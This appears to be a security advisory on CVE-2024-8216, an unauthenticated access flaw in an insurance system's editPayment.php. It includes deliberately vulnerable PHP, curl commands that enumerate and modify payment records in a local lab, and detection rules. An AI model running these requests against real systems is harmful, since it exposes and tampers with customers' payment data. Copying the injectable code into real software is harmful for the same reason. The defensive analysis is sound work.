CVE-2024-8216

Executive Summary

CVE-2024-8216 is a critical improper access control vulnerability in the nafisulbari/itsourcecode Insurance Management System version 1.0. The flaw resides in the editPayment.php file, specifically within the Payment Handler component. By manipulating the recipt_no argument, an unauthenticated remote attacker can bypass authorization checks and access or modify payment records without proper permissions. The vendor was contacted but did not respond, leaving the system unpatched. This vulnerability poses a high risk to confidentiality, integrity, and availability of the application's payment data.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Estimated Critical (9.8) based on vector analysis.
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full read access to payment data.
• Integrity Impact: High (I:H) – Ability to modify payment records.
• Availability Impact: High (A:H) – Potential to disrupt payment processing.

Threat Level: Critical. The vulnerability allows complete compromise of payment data without authentication.

Deep Dive & Mechanics

The vulnerability is a classic Improper Access Control (CWE-284) . The editPayment.php script fails to verify that the requesting user has the right to access or modify the payment record identified by the recipt_no parameter. The application likely uses a direct object reference (IDOR) pattern where the recipt_no is passed as a GET or POST parameter, and the backend performs a database query without checking session or role-based permissions.

Attack Flow:

1. An attacker identifies the endpoint: http://target/InsuranceManagementSystem/editPayment.php?recipt_no=123.
2. The attacker iterates through recipt_no values (e.g., 1, 2, 3, ...) to access payment records belonging to other users.
3. The server returns sensitive payment details (e.g., policy numbers, amounts, customer names) without authentication.
4. The attacker can also modify records by sending POST requests with altered payment data.

Root Cause: The editPayment.php script likely performs a SQL query like SELECT * FROM payments WHERE recipt_no = $_GET['recipt_no'] without first verifying the user's identity or ownership of the record.

Vulnerable vs. Patched Code

Vulnerable Code (editPayment.php - conceptual):

<?php
// No session check or authorization
$recipt_no = $_GET['recipt_no'];
$query = "SELECT * FROM payments WHERE recipt_no = '$recipt_no'";
$result = mysqli_query($conn, $query);
// Display payment details...
?>

Patched Code (conceptual):

<?php
session_start();
if (!isset($_SESSION['user_id'])) {
    die("Unauthorized");
}
$recipt_no = intval($_GET['recipt_no']);
$user_id = $_SESSION['user_id'];
$query = "SELECT * FROM payments WHERE recipt_no = ? AND user_id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "ii", $recipt_no, $user_id);
mysqli_stmt_execute($stmt);
// Display payment details only if authorized...
?>

Key Differences:

• Session validation is added.
• Parameterized queries prevent SQL injection.
• Ownership check ensures users can only access their own records.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy the vulnerable Insurance Management System 1.0 on a local server (e.g., XAMPP).
2. Ensure the application is accessible at http://localhost/InsuranceManagementSystem/.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://localhost/InsuranceManagementSystem/editPayment.php?recipt_no=1
   

2. Use curl to enumerate payment records:

   for i in {1..100}; do
       curl -s "http://localhost/InsuranceManagementSystem/editPayment.php?recipt_no=$i" | grep -E "Payment|Amount|Customer"
   done
   

3. For modification, send a POST request:

   curl -X POST -d "recipt_no=1&amount=9999&status=paid" \
   "http://localhost/InsuranceManagementSystem/editPayment.php"
   

Expected Output: Sensitive payment data (e.g., policy number, amount, customer name) is returned without authentication.

Blue Team (Defense)

Detection:

• Monitor for sequential recipt_no requests from a single IP.
• Alert on access to editPayment.php without a valid session cookie.
• Use WAF rules to block requests with suspicious recipt_no patterns (e.g., numeric sequences).

Mitigation:

• Implement session-based authentication on all payment endpoints.
• Add role-based access control (RBAC) checks.
• Use parameterized queries to prevent SQL injection.
• Apply rate limiting to /editPayment.php.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /InsuranceManagementSystem/editPayment.php with recipt_no parameter.
  • Sequential or out-of-range recipt_no values (e.g., 1, 2, 3, ...).
  • POST requests to editPayment.php with modified payment fields.
• File IOCs:
  • Unauthorized changes to payment records in the database.
  • Log entries showing access to editPayment.php without prior authentication.
• Behavioral IOCs:
  • Rapid enumeration of recipt_no values from a single source IP.
  • Access to payment records not belonging to the session user.

Detection Engineering

YARA Rule

rule CVE_2024_8216_editPayment_Access {
    meta:
        description = "Detects exploitation attempts of CVE-2024-8216 via editPayment.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8216"
    strings:
        $s1 = "editPayment.php" nocase
        $s2 = "recipt_no" nocase
        $s3 = "HTTP/1.1" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-8216 - Unauthorized Access to editPayment.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit improper access control in Insurance Management System editPayment.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "editPayment.php"
        cs-uri-query|contains: "recipt_no"
    condition: selection
falsepositives:
    - Legitimate admin access (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8216 - Unauthorized editPayment.php Access"; flow:to_server; content:"GET"; http_method; content:"editPayment.php"; http_uri; content:"recipt_no"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable system from the internet until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block requests to editPayment.php without a valid session token.
3. Audit all payment records for unauthorized modifications.

Long-Term Fix:

1. Apply the conceptual patch: add session validation and ownership checks to editPayment.php.
2. Upgrade to a patched version if the vendor releases one (currently none available).
3. Conduct a full security review of the application for similar IDOR vulnerabilities.

Workaround:

• Disable editPayment.php entirely if not needed, or restrict access via .htaccess:

  <Files "editPayment.php">
      Require ip 192.168.1.0/24
  </Files>
  

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2024-8216